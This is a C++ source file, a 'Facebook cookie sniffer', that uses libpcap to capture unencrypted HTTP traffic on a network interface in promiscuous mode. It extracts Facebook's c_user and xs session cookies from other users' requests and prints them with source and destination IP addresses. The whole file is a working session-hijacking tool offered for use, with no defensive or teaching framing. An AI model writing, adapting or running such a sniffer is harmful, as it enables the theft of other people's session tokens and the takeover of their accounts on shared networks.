// Facebook cookie sniffer v.0.1
// g++ fbsniff.cpp -o fbsniff -O4 -lpcap -std=c++11
 
#include <pcap.h>
#include <cstdlib>
#include <string>
#include <cstring>
#include <cstdint>
#include <iostream>
#include <set>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <cassert>
 
using namespace std;
 
bool unique = false;
set <string> users;
 
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
	if (packet[23] != IPPROTO_TCP) return;
 
	const char *payload = (const char *)(packet + 14 + ((int32_t)(packet[14] & 0x0f) << 2) + ((packet[26 + ((int32_t)(packet[14] & 0x0f) << 2)] & 0xf0) >> 4) * 4);
	int32_t size_payload = ntohs(*(uint16_t *)(packet + 14 + 2)) - (((int32_t)(packet[14] & 0x0f) << 2) + ((packet[26 + ((int32_t)(packet[14] & 0x0f) << 2)] & 0xf0) >> 4) * 4);
 
	if (size_payload == 0) return;
 
	string s(payload, size_payload);
 
	int32_t cp, c_user, xs, c_user_end, xs_end;
	if ((cp = s.find("Cookie: ")) == string::npos || (xs = s.find("xs=", cp)) == string::npos || (c_user = s.find("c_user=", cp)) == string::npos || (c_user_end = s.find(";", c_user)) == string::npos || (xs_end = s.find(";", xs)) == string::npos) return;
 
	string s_c_user = s.substr(c_user, c_user_end - c_user + 1);
	string s_xs = s.substr(xs, xs_end - xs + 1);
 
	if (unique) {
		if (users.find(s_c_user) != users.end()) return;
 
		users.insert(s_c_user);
	}
 
	cout << "From: " << inet_ntoa(*(in_addr *)(packet + 26)) << " To: " << inet_ntoa(*(in_addr *)(packet + 26 + sizeof(in_addr))) << endl;
	cout << "Cookie: " << s_c_user << " " << s_xs << endl;
 
	return;
}
 
int main(int32_t argc, char **argv) {
	string dev;	
	int32_t c;
	char errbuf[PCAP_ERRBUF_SIZE];
	struct bpf_program fp;
 
	while ((c = getopt(argc, argv, "ui:")) != -1) {
		switch (c) {
			case 'u':
				unique = true;
				break;
			case 'i':
				dev = string(optarg);
				break;
			case '?':
				break;
		}
	}
 
	if (dev.empty()) {
		cerr << "Usage: fbsniff [-u] [ -i interface ]" << endl;
		cerr << "-u		Print only unique results" << endl;
 
		return 1;
	}
 
	pcap_t *handle = pcap_open_live(dev.c_str(), BUFSIZ, 1, 1000, errbuf);	
	pcap_compile(handle, &fp, "tcp port 80", 0, 0);
	pcap_setfilter(handle, &fp);
	pcap_loop(handle, 0, got_packet, NULL);
	pcap_freecode(&fp);
	pcap_close(handle);
 
	return 0;
}